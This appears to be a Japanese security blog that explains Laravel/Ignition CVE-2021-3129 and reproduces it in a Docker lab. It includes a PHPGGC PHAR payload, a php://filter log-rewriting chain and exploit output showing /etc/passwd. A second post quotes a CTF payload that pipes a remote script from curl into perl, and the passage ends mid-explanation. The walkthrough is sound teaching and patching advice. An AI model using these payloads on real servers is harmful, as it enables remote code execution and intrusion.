knqyf263's blog

自分のためのメモとして残しておくためのブログ。

Laravelの脆弱性(CVE-2021-3129)の解説と検証

前回以下の記事を書きました。

knqyf263.hatenablog.com

これはLaravelの脆弱性(CVE-2021-3129)で使われた攻撃方法のうち応用が効きそうな部分を紹介した記事です。本記事ではLaravelでなぜ上のような攻撃が刺さる状態だったのかという詳細について書いておきます。

こちらが発見者のブログです。脆弱性の理解についてはにこれを読めば十分なので、自分のブログでは実際に試してみた時の話とそれによって得た自分の理解を中心に書いています。

www.ambionics.io

概要

Laravelのv8.4.2以下でデバッグモードを有効にしている場合に任意コード実行が可能な脆弱性が2021年の頭に公開されました (CVE-2021-3129)。正確にはLaravelが依存しているIgnitionの脆弱性です。

実際に攻撃を受けて仮想通貨のマイナーを仕込まれた以下の記事も話題になりました。

qiita.com

ちなみに上の記事内で紹介されているKinsingの解説記事は弊社ブログなので宣伝しておきます(以下は翻訳記事なので一次ソースではないですが)。

www.creationline.com

話を戻すと以下の条件を満たす場合に影響を受けます。

  • Ignition <= 2.5.1
  • Laravel <= 8.4.2
  • APP_DEBUG = true

対策としてはバージョンを上げるかAPP_DEBUG = falseにすれば良いわけですが、何でこれで攻撃に繋がるのか、というのを説明します。

ちなみに本番環境でデバッグモードを有効にするのはありえないと思うかもしれませんが、自分が試した限りではLaravelのプロジェクトを普通に作るとデフォルトで APP_DEBUG = true になっていました。何か自分の作り方が悪かった可能性はありますが、自分と同じように作った人はデフォルト設定がtrueになりますし、そのままデプロイしてしまう可能性は十分あると思います。つまりデフォルト設定がセキュアじゃないので、有効にするやつが悪い!と言うよりはLaravel側の設定が良くない気がします。

詳細

APP_DEBUG=true時にエラーが起きた場合、Ignitionは自動修正機能を提供しています。例えばPHPではundefinedな変数があるとエラーになってしまうわけですが、そのエラーを検知した時に自動で修正を提案してくれます。つまり {{ $username }} となっていてエラーが起きたのであれば {{ $username ?? '' }} に置換しましょうか?と提案してきます。こうすると仮に $username が定義されていなくてもデフォルト値のおかげでエラーが起きなくなります。提案ってどういうこと?となりますが、以下の画面を見てください。上のブログから引用しています。

f:id:knqyf263:20211011174717p:plain

ここで Make variable optional とすると実際にPHPファイルが書き換えられます。自分は今までこういった機能を見たことも聞いたこともなかったので驚きました。最近Webサービスの開発に携わってないから知らないだけで他のフレームワークでもあるんでしょうか?何にせよIgnitionがHTTPリクエストを飛ばし、実際にファイルの書き換えを行ってくれます。最初説明を見ても全く理解が出来なかったのですが、自分でLaravel立ち上げてようやく意味がわかりました。「ボタン押したらファイル書き換わってるじゃん...」となりました。

プログラムを自動で修正してくれるなんて何と凄い機能だ!と思う反面、セキュリティ大丈夫かな...と気になるところです。実際には想像より遥かに安全だったようですが、それでも結局は悪用され今回の脆弱性に至っています。

以下も引用ですが、 variableNameviewFile がパラメータとして送られていることが分かります。どのファイルのどの変数名を書き換えるかの指定です。そして solution の名前からしていくつかの簡単な修正がサポートされているようです。

f:id:knqyf263:20211011174739p:plain

最初はsolutionとして悪用できそうなクラスを渡すことを考えたようですが、きちんとRunnableSolutionを実装している既存クラスしか受け付けないようになっていたためそれは難しかったようです。

class SolutionProviderRepository implements SolutionProviderRepositoryContract
{
    ...

    public function getSolutionForClass(string $solutionClass): ?Solution
    {
        if (! class_exists($solutionClass)) {
            return null;
        }

        if (! in_array(Solution::class, class_implements($solutionClass))) {
            return null;
        }

        return app($solutionClass);
    }
}

そこで次に、上で使われている MakeViewVariableOptionalSolution を使って任意のファイル書き換えが出来るかを確かめます。

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    ...

    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']); // [1]
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents); // [2]

        $originalTokens = token_get_all(Blade::compileString($originalContents)); // [3]
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) { // [4]
            return false;
        }

        return $newContents;
    }

    protected function generateExpectedTokens(array $originalTokens, string $variableName): array
    {
        $expectedTokens = [];
        foreach ($originalTokens as $token) {
            $expectedTokens[] = $token;
            if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_COALESCE, '??', $token[2]];
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
            }
        }

        return $expectedTokens;
    }

    ...
}

少し複雑ですが、[1]で viewFile として渡されたファイルを読み込みます。次に[2]で $variableName$variableName ?? '' に置換しています。そして[3]の箇所で元々のファイルと新しいファイルをトークン化しています。その後 generateExpectedTokens で想定されているtokenを作り新しいファイルと比較します。これが一致しない場合は[4]で makeOptional がfalseを返して置換は実行されず終了しまう。そのため、 $variableName 経由での攻撃は難しそうです。

しかし既に前回の記事を読んでくださった方は file_get_contentsfile_put_contentsviewFile の値が渡されていることが気になって仕方ないと思います。 variableName で存在しない変数を指定すればその辺りの処理は実質的に全てスキップされ以下のみが残ります。

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

つまり viewFile を読み込んでそのまま書き戻すことが出来ます。それなら何も変更できないじゃないかと思われるかもしれませんが、 php:// ラッパーを使うことでBase64エンコード・デコードなどのちょっとした処理が可能になります。あとは以下の記事で紹介したように php:// のfilterをうまく工夫することでログファイルに出力されるエラーメッセージを通してログファイルをPHARに置き換えることが出来ます。

詳細は以下です。

knqyf263.hatenablog.com

攻撃の流れ

ということで攻撃の流れを書いておきます。各ステップの詳細は上の記事を参照してください。

  1. PHPGGCを使ってデシリアライズで攻撃が刺さるようなPHARを作る
  2. それをBase64してUTF-16に変換し、RFC2045に沿ってエンコードする
  3. まず最初に consumed フィルタを使ってログファイルをクリアする
  4. 最初に適当な文字列を含んだペイロードviewFile に含むリクエストを送る
  5. 2で作ったペイロードviewFile として送りつけエラーメッセージとしてログファイルに書き込ませる
  6. viewFilephp://filter を使ってPHARの前後にあるゴミを取り除きログファイルに書き戻す
  7. 4によってログファイルはPHARになっているため、再び viewFileで phar://を指定して読み込ませる
  8. Metadataのデシリアライズにより攻撃が刺さる

PHARの作成

この辺は知っている人には常識だと思いますが、PHPGGCというデシリアライズ攻撃をする際に便利なツールがあるので、これを使って細工したPHARを作ります。

$ git clone https://github.com/ambionics/phpggc.git
$ cd phpggc
$ php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o output.phar

上ではidコマンドが実行されるようなPHARを作って output.phar に出力しています。

(Base64 + UTF-16 + RFC2045) エンコード

次にこれをBase64エンコードします。

$ cat output.phar | base64 -w0
PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqrAQAAAgAAABEAAAABAAAAAABUAQAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7cjoyO3M6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6MjoiaWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fQUAAABkdW1teQQAAAAXW2FhBAAAAAx+f9ikAQAAAAAAAAgAAAB0ZXN0LnR4dAQAAAAXW2FhBAAAAAx+f9ikAQAAAAAAAHRlc3R0ZXN05TV3ivvwmru5FUE3EkaHmKbj/ukCAAAAR0JNQg==

この時、最後にパディング用の = が入っていますがこれは1つの値のみをエンコードした場合は不要という認識です。複数のBase64エンコード文字列を連結した場合には区切りを知るために4バイトの倍数にする必要がありますが、それ以外では不要のはずなので削ります(もしもっと深い理由があったら教えて下さい)。削っておかないと上の記事で書いたようにsuffixにスタックトレースが入り文字列の途中に = が入ってしまいPHPBase64は失敗します。ということでsedで削ります。

$ cat output.phar | base64 -w0 | sed -E 's/=+$//g'
PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqrAQAAAgAAABEAAAABAAAAAABUAQAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7cjoyO3M6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6MjoiaWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fQUAAABkdW1teQQAAAAXW2FhBAAAAAx+f9ikAQAAAAAAAAgAAAB0ZXN0LnR4dAQAAAAXW2FhBAAAAAx+f9ikAQAAAAAAAHRlc3R0ZXN05TV3ivvwmru5FUE3EkaHmKbj/ukCAAAAR0JNQg

また、UTF-16でかつRFC2045でデコードできるように =00 を各文字の後ろに足していきます。

$ cat output.phar | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g'
P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00...(省略)

ログファイルのクリア

consumed フィルタを使ってログファイルをまっさらな状態にします。

viewFile: php://filter/read=consumed/resource=/path/to/storage/logs/laravel.log

適当な文字列の送信

全体のサイズを偶数にするために、適当な文字列を viewFile に入れて送ります。これはデコード後に消えてほしいので上で作ったペイロードは送りません。

viewFile: AA

攻撃用ペイロードの送信

上で作ったペイロードviewFile に入れて送ります。当然こんなファイルは存在しないので、これはNo such file or directoryとなりこの値がログファイルに書き込まれます。上の AA と合わせてログファイルには2エントリ書き込まれている状態です。

viewFile: U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00

ログファイルの上書き

現在は上の2つのペイロードを含むエントリが書きこまれている状態です。

[prefix]AA[midfix]AA[suffix]
[prefix]U=00E=00s=00...[midfix]U=00E=00s=00...[suffix]

当然これはPHARとして有効ではないので、 php://filter を使って1エントリの内容や2エントリ内の前後のゴミを消しつつPHARとして有効な値をログファイルに書き戻します。

viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log

このリクエストの時点でLaravelのログファイル( /path/to/storage/logs/laravel.log )は細工されたPHARになります。

PHARの読み込み

あとは最後のリクエストでそれを読み込ませれば完了です。

viewFile: phar:///path/to/storage/logs/laravel.log

試してみる

試すためのリポジトリを作ったので自分で試したい方はどうぞ。

github.com

やられ側

やられ環境のDockerfileは以下です。

FROM php:7.3.31-alpine3.14

# Install composer
RUN php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" \
    && php composer-setup.php \
    && php -r "unlink('composer-setup.php');" \
    && mv composer.phar /usr/local/bin/composer \
    && chmod +x /usr/local/bin/composer

# Create a laravel project
RUN composer create-project --prefer-dist laravel/laravel /myapp "8.4.2"

WORKDIR /myapp

# Lock the ignition version
RUN composer require --dev facade/ignition==2.5.1

CMD ["php", "artisan", "serve", "--host", "0.0.0.0"]

https://github.com/knqyf263/CVE-2021-3129/blob/c8f516bf531bc3ed5376c5b8bfa76f92ef5695aa/victim/Dockerfile

最初 composer:2 をベースイメージとして試していたのですが、PHP 8だとPoCがうまく動きませんでした。そのため一旦PHP 7にして自前でcomposerをインストールしています。

あとは laravel/laravel を8.4.2に指定してLaravelのプロジェクトを作り、その中の依存ライブラリであるIgnitionを2.5.1にしています。 laravel/framework のバージョンは古いバージョンにしなくてよいのか悩んだのですが、以下のように 8.62.0でも攻撃が刺さっているので laravel/framework のバージョンは関係なさそうです。

/myapp # cat composer.lock | grep -B1 -A 1 '"name": "laravel/framework"'
        {
            "name": "laravel/framework",
            "version": "v8.62.0",

最後はWebサーバを起動しています。

概要にも書きましたが上のように composer create-project でLaravelのプロジェクトを作ったら .env のAPP_DEBUGはtrueになっていました。つまりデフォルトはデバッグモードが有効に見えます。そうなるとこのままデプロイしている人は少なくないでしょうし影響を受けるサーバは多いのではないかと思います。

/myapp # cat .env | grep DEBUG
APP_DEBUG=true

攻撃側

PoCが動くように必要なライブラリを入れているだけで特に変わったことはしていません。

FROM php:7.3.31-alpine3.14

# Install dependencies
RUN apk add git python3 py3-pip \
    && pip install requests \
    && git clone https://github.com/ambionics/phpggc.git
COPY exploit.py .

https://github.com/knqyf263/CVE-2021-3129/blob/c8f516bf531bc3ed5376c5b8bfa76f92ef5695aa/attacker/Dockerfile

PoCコードは以下のリポジトリから拝借しています。自分のリポジトリでは動かなかったところを少し直したり不要なコードを削ったりしています。

github.com

攻撃コードを見ると上で説明した順番でリクエストを送っているのが分かると思います。

CVE-2021-3129/exploit.py at c8f516bf531bc3ed5376c5b8bfa76f92ef5695aa · knqyf263/CVE-2021-3129 · GitHub

実行

セットアップ

まずdocker-composeで2つのコンテナを立ち上げます。

$ git clone https://github.com/knqyf263/CVE-2021-3129.git
$ cd CVE-2021-3129
$ docker-compose build
$ docker-compose up -d

動作確認

http://localhost:8000/ にアクセスしてLaravelが正常に動作していることを確認します。

f:id:knqyf263:20211011175156p:plain

攻撃

あとは攻撃用に作ったコンテナに入ってスクリプトを実行します。

$ docker-compose exec attacker sh
/ # python3 exploit.py
[*] Try to use monolog_rce1 for exploitation.
[+] PHPGGC found. Generating payload and deploy it to the target
[*] Result:
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
...

/etc/passwd を表示するようにしていたので、攻撃が成功して /etc/passwd の中身が表示されています。

まとめ

Laravelの脆弱性(CVE-2021-3129)の動作原理を見て攻撃を試すところまで行いました。記事を2つに分けないといけないぐらいには複雑だと思いますし、大体複雑な脆弱性というのは現実には刺さらないことが多いのですがこの攻撃は割とシュッと刺さります。

PHP 8だと手元だと動きませんでしたがPHP 7を使っているところはまだまだ多いと思います。自分の検証が間違っていただけかもしれませんし、PoCを修正すれば動く可能性もあるのでPHP 8なら安全かは不明です。またデバッグモードに関してもデフォルト設定のままになっていて有効なところは結構ありそうな気がします。他にもログファイル名の推測だったりも必要ですが、デフォルトだと storage/logs/laravel.log になりますし他の場所にあるとしても /var/log の下だったり候補は絞りやすそうに思います。

影響バージョンも広いですし実際にKinsingのマルウェアが悪用しているぐらいなので危険度は高いと思います。時間が経っているので基本的には各組織既に対策済みだと思いますが、もし対策がまだでかつ攻撃条件を満たす場合は急いで対策しましょう(その場合は既に被害を受けている可能性が高いと思いますが)。

PHPでログファイルへの読み書きを通して任意コード実行をする方法

以前少し話題になったLaravelのデバッグモード有効時の脆弱性であるCVE-2021-3129のPoCを読んでいたのですが、思ったより難しくて何でこんなことをしているんだろうと思ったら発見者による解説ブログがありました。読んでみたらバイパスのために思ったより色々していて普通に勉強になったのでメモを残しておきます。CTFerからすると常識な内容かもしれないので、何か間違いや補足があれば指摘をお願いします。

www.ambionics.io

前提知識1

上の脆弱性を理解するためにはいくつかの前提知識を必要とするため最初にまとめておきます。

まず、PHPでは外部から渡されたオブジェクトをデシリアライズすると条件によっては任意のPHPスクリプトが実行可能です。OWASP Top 10では「安全でないデシリアライゼーション」と呼ばれています。PHPに限った話ではないのですが、LaravelはPHPで書かれているため今回はPHPについてメインで説明しています。

github.com

安全でないデシリアライゼーション自体は昔から有名な脆弱性で、少し調べると解説記事がたくさん出てきます。そのうちの一つを貼っておきます。

blog.tokumaru.org

実際に任意のスクリプトを実行するためにはPOP (Property oriented programing)が必要になりますが、そこも本題ではないので省略します。調べたら解説が出てきますし、そういう攻撃を行うためのペイロードを作成するツールが存在するので、詳細は知らなくても何とかなります。

github.com

そしてPHPにはPHARというアーカイブフォーマットがあるのですが、PHPphar:// というストリームラッパーを使うとこのPHARファイルに対する読み書き操作が出来ます。以下の例のように http://file:// と同じように扱えます。 http:// はリモートファイルに対しての操作ですが、 phar:// はローカルファイルのみです。

file_get_contents("http://example.com/image.jpeg")

file_get_contents("file://../images/image.jpeg")

file_get_contents("phar://./archives/app.phar")

このPHARはJava Archive (JAR)のようにライブラリやアプリケーションを一つのファイルとして配るためのものです。このPHARにはStub, Manifest, File Contents, Signatureの4つが含まれていますが、このうちManifestの中にはメタデータが含まれており、シリアライズされた形で保存されています。つまり file_get_contents ('phar://./archives/app.phar') を呼ぶとapp.phar内のメタデータがデシリアライズされます。このメタデータを攻撃者が細工することで「安全でないデシリアライゼーション」に繋げることが出来るというのが大枠です。つまりPHARを攻撃者がアップロードすることができ、かつそれを phar:// ラッパーで読み込ませることが出来れば任意スクリプト実行に繋がる可能性があるということです。

この手法は自分が知る限りBlack Hat 2018で発表されたもので、ペーパーも理解しやすいのでもし知らなければ読んでみてください。当時話題になったのでセキュリティ業界では既に有名ですが、開発者では知らない人も多いと思います。

https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf

この辺の解説もわかりやすいです。

pentest-tools.com

過去にブログ書いたつもりだったのですが、読むだけで満足して終わってたみたいなので元気があればこの攻撃手法についての解説も書きます。

ということで長くなりましたが、以下のような条件を満たしている場合に任意スクリプトの実行が可能です。

  1. サーバに任意のファイルを書き込める
  2. 書き込んだファイルを読み込ませることが出来る

この2つを満たした場合、

  1. サーバにPHARファイルを書き込む
  2. 書き込んだファイルを phar:// で読み込ませる

というステップを踏むことで攻撃に繋げることが出来ます。実際に任意のPHPスクリプトを実行するためには攻撃に使えそうなガジェットを探す必要がありますが、上記のPHPGGCが攻撃に使えるクラスを既にリストアップしてくれているので、任意スクリプト実行に繋がる可能性はそこそこ高いと思って良いのではないかと思います。何の話をしているか分からないという人は「安全でないでシリアライゼーション」の説明を読んでみてください。あと任意のPHPスクリプトが実行可能ということは任意のOSコマンドも実行可能です。

前提知識2

上の前提を読んで、サーバに任意のファイルを書き込むところ口がないから大丈夫と思う開発者もいるかも知れません。確かにアップロード機能等がなければ任意のファイルを書き込むのは簡単ではありません。ですが、ファイルの一部に攻撃ペイロードを書き込めれば残りの部分をうまく読み飛ばして、PHARの部分だけを読ませるという手法が存在します。ファイルの一部だけ制御可能というのはログファイルなどがイメージ付きやすいかと思います。ログファイルにはユーザから送られたクエリの値が書き込まれたりすることもありますし、ユーザから受け取った値によりエラーが起きたときはその値を含んだスタックトレースが吐かれることもあります。

ファイルの一部への書き込みを悪用した攻撃手法で有名なのが、以下のOrange TsaiさんによるCTFの問題です。こちらはログファイルではなくPHPのセッションファイルを使っています。大分前に読んだのにすっかり忘れていたので改めて簡単にまとめておきます。

blog.orange.tw

まず、以下のようなPHPファイルがサーバで動作しているとします。

<?php
  ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

1行だけなので読むのは簡単です。orangeというパラメータの値をファイルとして読み込み、 @<?php で始まっている場合はそれを実行するという内容です。それ以外の場合はこのファイル自身を表示します。つまり、上で述べた条件の2は既に満たしています。今回はCTFの問題ということで phar:// を使ってデシリアライゼーション攻撃をしなくても include($_)でファイルを実行するようにしてくれています。CTFとしては何とかして include($_) で任意スクリプトを実行するというのがゴールです。

次にファイルへの書き込みですが、これは上述したようにセッションファイルを使っています。PHPではセッションの情報を一時的にファイルとして書き出すため、そこに攻撃コードをセットして読み込ませるというのが大まかな流れです。PHPの設定で session.auto_start がOffになっていると実際にはCookieでPHPSESSIDを送ってもファイルは作られないようですが、 PHP_SESSION_UPLOAD_PROGRESS をマルチパートで送るとPHPは自動的にセッションを有効にしてくれるそうです。

上記ブログからそのまま引用しておきます。

$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -d 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'  -F 'file=@/etc/passwd'
$ ls -a /var/lib/php/sessions/
. .. sess_iamorange

自分でも試してみたのですが、Dockerで作ったせいか session.save_path/var/lib/php/sessionsではなく /tmp になっていたので最初セッションファイルが見つからず少し焦りました。環境を用意したので他に試したい方がいたらどうぞ。

github.com

このセッションファイルの中身を見てみます。まずファイル名のサフィックスが PHPSESSID の値になっています(この例ではiamorange)。

root@b4fc2e6f0d2a:/var/www/html# cat /tmp/sess_iamorange
upload_progress_blahblahblah|a:5:{s:10:"start_time";i:1633722789;s:14:"content_length";i:7956;s:15:"bytes_processed";i:7956;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:6:"passwd";s:8:"tmp_name";s:14:"/tmp/phpTqucMR";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1633722789;s:15:"bytes_processed";i:7630;}}}

そして中身を見ると upload_progress_ のあとに PHP_SESSION_UPLOAD_PROGRESS で渡した値が書き込まれていることが分かります(この例だとblahblahblah)。つまりこのパラメータに攻撃コードを仕込めばセッションファイルに書き込めるということです。

上記ではセッションファイルの中身を見てみましょうと気軽に言いましたが、実際には session.upload_progress.cleanup がデフォルトでOnになっているためリクエストが終わると即座にセッションファイルの中身は消されてしまいます。つまりこのファイルを読み込ませるためには書き込み用のリクエストと読み込み用のリクエストを同時に大量に送ってレースコンディションを引き起こす必要があります。または、大きいファイルを送ってセッションを維持したままにするという方法もあります。上では一旦cleanupをOffにして中身を確認しています。

これで任意の値をファイルに書き込むことが出来るようになったわけですが、前後にゴミがついているため細工したPHARを書き込んだとしてもファイル全体として見るとPHARとして有効ではありません。このCTFの問題として見た場合でも、ファイルの先頭は @<?php でなければならないため、 upload_progress_ のせいでファイルは実行されません。

ここで、 php:// ストリームラッパーを使います。どういうラッパーなのかについては調べてくださっている記事があったので詳細はそちらを参照してください。

www.ryotosaito.com

特に重要なのは php://filter です。ファイルを読み込む際にBase64デコードしてから読み込む、といった処理が可能です。以下のような形式になります。

php://filter/[FILTER_A]/.../resource=/tmp/sess_xxxxx

これはresourceとして指定したファイルに対してfilterを適用するという意味になります。filterは複数指定可能です。さらに読み込みだけでなく書き込み時のフィルターも可能ですし、Base64以外の様々な処理も可能です。他の処理については後ほど本題で触れますが、ここではBase64について触れます。

上のfilterで convert.base64-decode を使うとBase64デコードが出来るのですが、何と都合が良いことにBase64として無効な文字は無視してくれます。試してみましょう。

まずは普通のBase64です。一旦ファイルにエンコードしたものを書き込んで php://filter でデコードします。 read= にすると読み込み時のみfilterが適用されます。

$ echo test | base64 > /tmp/test
$ php -a
Interactive shell

php > $f = 'php://filter/read=convert.base64-decode/resource=/tmp/test';
php > $contents = file_get_contents($f);
php > echo($contents);
test

確かにtestが出力されました。では次に前後にBase64として無効なゴミを入れてみます。

$ echo test | base64
dGVzdAo=
$ echo ':;.!!!!!dGVzdAo=:;.!!!!!' > /tmp/test
$ php -a
Interactive shell

php > $f = 'php://filter/read=convert.base64-decode/resource=/tmp/test';
php > $contents = file_get_contents($f);
php > echo($contents);
test

ということで問題なくデコードできています。記号などのBase64の64文字に入らないような無効な文字はスキップしてくれるため、何回かBase64デコードすればほとんどは無効な文字列となります。つまり upload_progress_Base64エンコードされた値ではないため、何回かデコードすることで無効な文字列となり、それらをスキップしてその後の自分の書き込んだ文字列だけうまく読み込ませることが出来ます。

以下の文字列を実行したいとします。

@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////

まずこれをBase64します。

$ echo '@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////' | base64
QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v

この文字列に upload_stream_プレフィックスとして付与したものをデコードしてみます。

$ echo upload_progress_QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v > /tmp/test
$ php -a
Interactive shell

php > $f = 'php://filter/read=convert.base64-decode/resource=/tmp/test';
php > echo file_get_contents($f);
hik
޲7W&&vRGrr&2W&

PHPスクリプトが現れなくてはいけないはずなのに、デコード結果は元々の文字列と異なってしまっています。これはBase64は6ビットずつにしていくため、プレフィックス部分がうまく8ビットの倍数になってくれないとデコードの区切りがずれてしまう、アラインメントがおかしくなってしまうためです。 upload_progress_ は16文字なので96ビットになって良さそうに見えますが、 _ は無効な文字であり無視されます。そうすると14文字なので84ビットになって割り切れなくなります。そうすると先頭のQDの12ビットを足して96ビットになってしまい、元々の文字列に戻ってくれません。そのため、文字数を合わせるためにパディングをする必要があります。12ビット足りないので上記ブログに習ってZZを足してみます。ここはどうせ無視されるのでBase64として有効なら何でも良いはずです。複数のデコードでうまく消えてくれるような文字列である必要はあります。

$ echo upload_progress_ZZQDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8vCg== > /tmp/test
$ php -a
Interactive shell

php > $f = 'php://filter/read=convert.base64-decode/resource=/tmp/test';
php > echo file_get_contents($f);
hik
޲Y@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////

今回は確かに最初にエンコードした文字列が現れてくれています。しかし、hikYなどBase64としても有効な文字列が一部残ってしまっています。これが複数回Base64を必要とする理由です。今回は3回のデコードで先頭のゴミが消せるようなのでやってみます。ちなみにサフィクスについては上のスクリプトで分かるようにコメントアウトしているため、3回のデコード後にゴミが残ったとしてもスクリプトには影響を与えないので問題ありません。そもそも<?php ?>でちゃんと閉じているので問題ないはずですが。

上のスクリプトを3回Base64エンコードすると以下になります。

$ echo -n '@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////' | base64 -w0
QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v
$ echo -n 'QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v' | base64 -w0
UUR3L2NHaHdJR0JqZFhKc0lHOXlZVzVuWlM1MGR5OTNMMkpqTG5Cc2ZIQmxjbXdnTFdBN1B6NHZMeTh2THk4dkx5OHZMeTh2
echo -n 'UUR3L2NHaHdJR0JqZFhKc0lHOXlZVzVuWlM1MGR5OTNMMkpqTG5Cc2ZIQmxjbXdnTFdBN1B6NHZMeTh2THk4dkx5OHZMeTh2' | base64 -w0
VVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy

これにupload_progress(とpadding)のprefixを付けて一度 convert.base64-decode すると以下になります。

